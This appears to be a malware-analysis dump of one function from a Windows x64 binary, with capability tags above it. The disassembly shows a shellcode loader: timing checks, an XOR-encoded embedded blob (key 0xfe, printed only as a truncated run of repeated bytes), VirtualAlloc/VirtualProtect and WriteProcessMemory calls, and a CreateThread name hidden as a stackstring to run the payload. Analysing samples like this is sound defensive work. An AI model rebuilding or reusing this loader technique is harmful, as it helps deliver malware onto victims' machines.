Function at 0x140002404
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov r8d, 0x20
mov rdx, rcx
lea rcx, [rbp - 0x20]
call fcn.140005288
nop
mov rax, qword [rbp - 0x20]
movsxd rax, dword [rax + 4]
test byte [rbp + rax - 0x10], 6
jne 0x140002916
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov word [rsp + 0x38], 1
mov rax, qword [rbp + rax + 0x28]
mov qword [rsp + 0x40], rax
test rax, rax
sete byte [rsp + 0x48]
mov byte [rsp + 0x49], r14b
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.1400060f4
nop
lea rcx, [rbp - 0x10]
call fcn.14000594c
test rax, rax
jne 0x1400024cb
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140001b9c
call fcn.14000747c
mov rbx, rax
call fcn.140007460
mov esi, 0x989680
cmp rbx, rsi
jne 0x1400024e8
imul rbx, rax, 0x64
jmp 0x140002504
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
call fcn.14000747c
mov rdi, rax
call fcn.140007460
cmp rdi, rsi
jne 0x14000251c
imul rax, rax, 0x64
jmp 0x140002537
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x140002557
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0x138], rcx
jmp 0x140002568
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x138], rax
lea rcx, [rbp + 0x138]
call fcn.140006c84
call fcn.14000747c
mov rdi, rax
call fcn.140007460
cmp rdi, rsi
jne 0x14000258c
imul rcx, rax, 0x64
jmp 0x1400025a7
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov esi, 0x7f149
sub esi, edx
lea edi, [rsi + 0xb54]
mov ebx, edi
call fcn.140001d80
cmp edi, 0x7f148
je 0x1400025ee
inc edi
mov eax, edi
sub eax, esi
cmp eax, 0xc80
jle 0x1400025d2
lea eax, [rbx - 0x7f148]
mov r12d, 0xf
mov r15d, 0x1000
test eax, eax
jne 0x1400028d7
lea r9, [rbp - 0x2b]
dec r9
mov eax, 0xcccccccd
mul ebx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [r9], bl
mov ebx, edx
test edx, edx
jne 0x14000260c
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r12
mov byte [rbp - 0x80], r14b
lea rax, [rbp - 0x2b]
cmp r9, rax
je 0x14000265e
lea r8, [rbp - 0x2b]
sub r8, r9
mov rdx, r9
lea rcx, [rbp - 0x80]
call fcn.140005c18
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.140002018
nop
lea rsi, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rsi, qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
mov qword [rbp + 0x148], rax
mov rax, r14
lea rcx, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
xor byte [rax + rcx], 0xfe
inc rax
cmp rax, 0x1191
jb 0x140002691
call fcn.140001d80
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.VirtualAlloc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140018260], rax
lea r9, [rbp + 0x138]
mov edi, 0x40
mov r8d, edi
lea ebx, [rdi - 0x38]
mov edx, ebx
lea rcx, [0x140018260]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [0x1400023f8]
mov qword [0x140018260], rax
lea r9, [rbp + 0x138]
mov r8d, dword [rbp + 0x138]
mov edx, ebx
lea rcx, [0x140018260]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rbp + 0x140], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x148]
xor r8d, r8d
lea rdx, [rbp + 0x140]
call fcn.140007420
mov rcx, qword [0x140018260]
test rcx, rcx
je 0x140002788
lea r9, [rbp + 0x138]
mov r8d, edi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x140018260], r14
lea r9, [rbp + 0x138]
mov r8d, dword [rbp + 0x138]
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.140001d80
mov rbx, qword [rbp + 0x148]
mov rdi, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], r14
mov r9, rbx
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x30], 0x61657243
mov dword [rsp + 0x34], 0x68546574
mov dword [rsp + 0x38], 0x64616572
mov byte [rsp + 0x3c], r14b
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.140001d80
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
mov r8, qword [rbp + 0x140]
xor edx, edx
xor ecx, ecx
call rbx
mov rdi, rax
movdqa xmm0, xmmword [str.WaitForSingleObj]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.140001d80
or edx, 0xffffffff
mov rcx, rdi
call rbx
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140002890
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x14000288b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002956
call fcn.140008bcc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x60], r14b
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400028d7
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x1400028d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000295c
call fcn.140008bcc
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14000290a
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x140002905
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002950
call fcn.140008bcc
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x60], r14b
lea rcx, [rbp + 0x90]
call fcn.140005208
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x90]
call fcn.140007eb0
nop
add rsp, 0x1f0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14000cec0
nop
call fcn.14000cec0
nop
call fcn.14000cec0
int3